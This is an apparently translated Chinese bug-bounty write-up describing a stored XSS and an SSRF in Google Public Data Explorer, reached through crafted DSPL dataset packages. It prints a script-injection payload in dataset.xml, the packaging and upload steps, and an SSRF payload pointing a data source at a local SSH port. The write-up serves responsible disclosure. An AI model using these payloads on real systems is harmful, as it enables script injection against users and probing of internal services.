google-continues-to-overcome-androids-security-concerns-624x351.jpg

掌握数据就能统治整个世界 – 软银孙正义

本文讲述我通过精心制作Google数据集发布语言(DSPL)包,在请求www.google.com的环境中构造出存储型XSS漏洞,另外,利用DSPL的远程数据源功能实现了本地服务访问(也即SSRF)。

Google的数据集发布语言DSPL

Google的数据集发布语言:Google利用其具备的强大网络数据收集能力,在数据挖掘和可视化方面拥有多项应用,通过搭建可视化的商业和公共服务平,方便第三方公司和个人充分数据收集可视化。用户可以利用Google的数据集发布语言(Dataset Publishing Language,DSPL)接口,把他们自己的数据库链接上Google的可视化工具,实现方便的个人定制数据可视化。

Google的公开数据浏览器(Public Data Explorer)是一款数据搜索和可视化显示工具,它以官方数据为基础,为一些常见的搜索请求制作图表,以更加直观的视觉形式反映出搜索结果。例如,我们可以利用它来方便地实现政府卫生支出、世界银行数据等大型数据集的搜集和可视化。

01.gif

DSPL使用XML来描述数据集中的元数据,还会用到CSV数据文件,例如DSPL下的sample.zip压缩包格式是这样的:

Archivesample.zip Length      Date    Time    Name ---------  ---------- -----   ----       246  02-01-2018 13:19   countries.csv       221  02-14-2011 17:13   country_slice.csv      7812  03-04-2018 21:12   dataset.xml       246  02-14-2011 17:13   gender_country_slice.csv        28  01-29-2018 20:55   genders.csv       200  02-14-2011 17:13   state_slice.csv       300  01-29-2018 21:11   states.csv ---------                     -------      9053                     7 files 

漏洞端倪

问题就在于,Google的公开数据浏览器(Public Data Explorer)在使用数据集归档中提供的元数据时,不会去检查这些元数据是否经过有效编码或安全验证。

以下面这个数据集的使用为例:

curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip

unzip sample.zip; rm sample.zip

可以对数据集中dataset.xml文件的元数据名称值进行更改。另外在以下XML文件中,可以使用CDATA部分来包含JavaScript的执行脚本(Payload),以防止其被当做XML标记来解析:

<info>   <name>     <value><![CDATA[<script>confirm(document.domain)</script>]]></value>   </name>     <description>       <value>Some very interesting statistics about countries</value>     </description>     <url>       <value>http://google.com</value>     </url>  </info> 

之后,执行以下两步操作:

zip -r poc.dspl *

将上述精心制作的数据集文件上传到Google公开数据浏览器中(Public Data Explorer),把它公开分享

这样一来,只要点击查看该数据集的用户,都会在www.google.com请求环境中被执行一段攻击者精心制作的JavaScript恶意脚本(这种脚本如Coinhive)。

漏洞PoC测试

在以下视频中我们可以看到,构造一个包含恶意脚本的数据集压缩包,上传部署后,能成功执行预定脚本:

http://v.youku.com/v_show/id_XMzQ3MTM0Njk0OA==.html

https://vimeo.com/258923005

而且,因为DSPL还具备从远程HTTP或FTP源中进行数据检索,所以,利用该功能和上述缺陷可以实现SSRF攻击,访问到某些本地主机的服务数据资源(另外,深入利用,还可间接访问到目标系统内与互联网隔离的内部网络系统,进一步对目标系统内的系统或设备造成安全威胁)

例如,把poc.dspl/dataset.xml中的内容更改如下:

<table id="my_table">   <column id="first" type="string"/>   <column id="last" type="string"/>   <data>     <file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>   </data> </table> 

在把该数据集进行上传分享时,Google服务端返回了HTTP/FTP请求的出错处理响应,其中显示了Google服务端的SSH详细banner信息,实际上,这本来就是一种不应公开显示的服务端信息:

02.png

这个有意思的漏洞是我在今年1月份休假时发现的,感谢朋友@sirdarckcat和谷歌安全团队。文中如有不妥之处,还望多多包涵。

漏洞处理进程

2018年1月: 向Google上报漏洞

2018年2月:Google确认漏洞并进行漏洞修复

2018年2月:Google针对其中的存储型XSS漏洞奖励我$5000美金

2018年3月:Google针对其中的SSRF漏洞奖励我$13337美金

*参考来源:s1gnalcha0s,FreeBuf小编clouds编译